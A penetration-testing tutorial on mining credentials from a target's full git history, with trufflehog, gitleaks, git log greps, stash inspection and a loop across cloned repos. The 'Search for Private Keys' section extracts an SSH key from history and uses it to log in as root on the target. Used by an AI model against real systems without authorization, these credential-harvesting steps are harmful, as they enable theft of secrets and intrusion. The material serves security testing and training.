Skip to content

Git History Secret Mining

6 min read Created Apr 4, 2026 Last updated Aug 11, 2026

Git history retains every version of every file ever committed: including credentials deleted last week, tokens rotated last month, and passwords removed years ago. Secret mining scans the complete commit graph across all branches and tags, not just the current working tree. Even a clean repository head can have a rich history of secrets. Run this after cloning the full repository with all branches via repository cloning.

Branches other than main or master are the most overlooked. Developers push experimental work, hotfixes, and feature branches that never get cleaned up. Each branch carries its own commit history. Tags are equally important: release tags often pin commits from before a secret rotation. The object store is cumulative, so a git clone with --mirror or --bare pulls every reachable object. Start with automated tools to surface obvious hits. Then use manual searches to hunt for patterns specific to the target.

  • Automated Scanning with trufflehog
  • Scan with gitleaks
  • Manual Search Through All Commits
  • Check Stashes
  • Search for Private Keys
  • Full Automated Sweep

Automated Scanning with trufflehog

trufflehog scans every commit across all branches for high-entropy strings and known secret patterns. It validates credentials against live APIs where possible. A "verified" result means the secret is still active: prioritize those immediately. An unverified result still warrants manual review since credential reuse across systems is common. The Commit field tells you where in history the secret appeared. Use git show <commit> to see the full diff and understand what else changed at that point. The Filename field identifies which file contained the secret, which helps locate related configuration files worth reviewing.

┌──(kali㉿kali)-[~]
└─$ # Scan directly from the git:// URL without cloning first
┌──(kali㉿kali)-[~]
└─$ trufflehog git git://$TARGET_IP/repo.git
Found verified result >>
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAIOSFODNN7EXAMPLE
Commit: b2c3d4e5f6
Filename: config/aws.yml
Line: 3
┌──(kali㉿kali)-[~]
└─$ # Scan a locally cloned repo
┌──(kali㉿kali)-[~]
└─$ trufflehog git file:///tmp/git_loot/repo --json | tee /tmp/trufflehog_results.json

Scan with gitleaks

gitleaks is faster on large repositories and has solid rule coverage for common secret types. The JSON report includes the file path, commit hash, line number, and matched string. Focus on matches in .env files, config directories, and deployment scripts first. Use git log --follow -p -- <file> to trace a file's full change history across renames. gitleaks does not validate credentials against live APIs. Treat every match as a candidate until verified manually. Cross-reference results from both trufflehog and gitleaks: neither tool catches everything on its own.

┌──(kali㉿kali)-[~]
└─$ gitleaks detect --source /tmp/git_loot/repo --report-format json --report-path /tmp/gitleaks_results.json
┌──(kali㉿kali)-[~]
└─$ cat /tmp/gitleaks_results.json | python3 -m json.tool | grep -iE 'secret|match|file|commit'
"Secret": "SuperSecret123!",
"File": ".env",
"Commit": "a1b2c3d4",
"Match": "DB_PASSWORD=SuperSecret123!"

Manual Search Through All Commits

When automated tools miss things or you want targeted searches, use git log to search commit content directly. Lines prefixed with + were added in that commit. Lines prefixed with - were removed. A credential removed in one commit is still present in the object store and valid until explicitly rotated. When you see a password change sequence (old removed, new added), test both values. The old value often persists in other systems where it was reused. Search commit messages as well. Developers frequently write "remove hardcoded key" or "fix credentials" in commit messages. Those messages point directly at the sensitive change.

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ # Search all commit diffs for password patterns
┌──(kali㉿kali)-[~]
└─$ git log -p --all | grep -iE '(password|passwd|secret|api_key|token|credential)[[:space:]]*[=:][[:space:]]*.{4,}' | grep -v '^---\|^+++' | head -30
+DB_PASSWORD=OldP@ssword2023!
+API_TOKEN=sk-prod-oldkey123
-DB_PASSWORD=OldP@ssword2023!
+DB_PASSWORD=NewP@ssword2024!
┌──(kali㉿kali)-[~]
└─$ # Find commits that modified specific sensitive files
┌──(kali㉿kali)-[~]
└─$ git log --all --oneline -- .env '*.key' '*.pem' 'config/database*'
a1b2c3d fix: remove hardcoded API key from .env
b2c3d4e add production database credentials
c3d4e5f initial commit
┌──(kali㉿kali)-[~]
└─$ # View what a specific commit changed
┌──(kali㉿kali)-[~]
└─$ git show a1b2c3d
commit a1b2c3d...
-API_KEY=sk-prod-xK2aB1cD3eF4gH5i
+API_KEY=REDACTED

Check Stashes

Developers sometimes stash work-in-progress changes that contain incomplete or experimental credentials. Stashes are part of the repo object store and are cloned with the repository. They are frequently forgotten and never cleaned up. The stash description often reveals intent. Entries named "testing new API key" or "temp credentials for debug" are high-value targets. Use git stash show -p stash@{N} to view the full diff for each entry. Multiple stash entries are common on active repositories. Check every entry, not just stash@{0}. Also check remote tracking branches with git branch -r. Some branches exist on the remote but are not fetched by a standard clone.

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git stash list
stash@{0}: WIP on develop: testing new API key
stash@{1}: WIP on main: temp credentials for debug
┌──(kali㉿kali)-[~]
└─$ git stash show -p stash@{0}
+API_KEY=sk-test-newkeyABC123
+DEBUG_PASSWORD=tempP@ss!

Search for Private Keys

Private keys committed to a repository are among the most critical finds. RSA, EC, and OpenSSH private keys appear in commit diffs. Developers sometimes commit them accidentally or add them for temporary convenience. A key found in history may still unlock the original server if it was never rotated after removal. After extracting a key, check the target's authorized_keys files to confirm which accounts it grants access to. Try the key against root and any application-level user accounts. Ed25519 and ECDSA keys appear less often than RSA but are equally usable. Check the same commit range for certificate files (.crt, .p12, .pfx). Private keys and certificates are often committed together.

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git log -p --all | grep -A2 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC'
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
┌──(kali㉿kali)-[~]
└─$ # Extract and test any found private key
┌──(kali㉿kali)-[~]
└─$ git show <commit>:.ssh/id_rsa > /tmp/found_key.pem
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/found_key.pem
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/found_key.pem root@$TARGET_IP 'id' 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)

Full Automated Sweep

Combine multiple searches in one pass across all cloned repositories. This approach is useful when a target exposes multiple repos via git-daemon. Sort and deduplicate results before triaging. A credential appearing in multiple separate repositories suggests a shared secret that may grant access to additional services. Use the commit hashes from findings to build a timeline of when credentials were introduced and removed. That timeline shows how recently a secret was rotated and whether the rotation covered all affected systems. Focus on secrets introduced in early commits: those are most likely to have been reused elsewhere and left unchanged.

┌──(kali㉿kali)-[~]
└─$ for repo_dir in /tmp/git_loot/*/; do
echo "=== $(basename $repo_dir) ==="
cd "$repo_dir"
git log -p --all 2>/dev/null | grep -iE '^\+(password|secret|api.?key|token|aws_|private).*=.{6,}' | sort -u | head -20
done
=== repo ===
+DB_PASSWORD=SuperSecret123!
+AWS_SECRET_ACCESS_KEY=wJalr...
=== webapp ===
+STRIPE_KEY=sk_live_abc123...

References